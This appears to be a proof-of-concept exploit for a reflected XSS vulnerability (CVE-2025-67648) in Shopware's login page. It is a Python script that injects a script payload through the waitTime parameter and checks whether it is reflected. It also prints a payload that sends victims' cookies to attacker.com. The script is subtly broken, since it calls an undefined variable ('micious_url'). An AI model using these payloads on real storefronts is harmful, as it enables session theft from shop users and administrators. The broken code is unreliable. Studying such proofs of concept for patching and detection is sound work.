Shopware AuthController.php 反射型XSS漏洞 (CVE-2025-67648)

# CVE-2025-67648 PoC - Reflected XSS in Shopware AuthController.php # Affected Versions: 6.4.6.0 - 6.6.10.9 and 6.7.0.0 - 6.7.5.0 # Fixed Versions: 6.6.10.10 and 6.7.5.1 import requests import urllib.parse target_url = "http://target-shopware-site.com/login" # Malicious payload for XSS injection via waitTime parameter xss_payload = '<script>alert(document.cookie)</script>' encoded_payload = urllib.parse.quote(xss_payload) # Construct malicious URL malicious_url = f"{target_url}?waitTime={encoded_payload}" print(f"[*] Target: {target_url}") print(f"[*] Malicious URL: {malicious_url}") # Verify vulnerability exists response = requests.get(micious_url) if xss_payload in response.text: print("[+] VULNERABLE: XSS payload reflected in response") else: print("[-] Not vulnerable or patch already applied") # Steal cookie payload (for demonstration) cookie_steal_payload = '<img src=x onerror="fetch(`https://attacker.com/steal?c=`+document.cookie)">' print(f"[*] Cookie stealing payload: {urllib.parse.quote(cookie_steal_payload)}")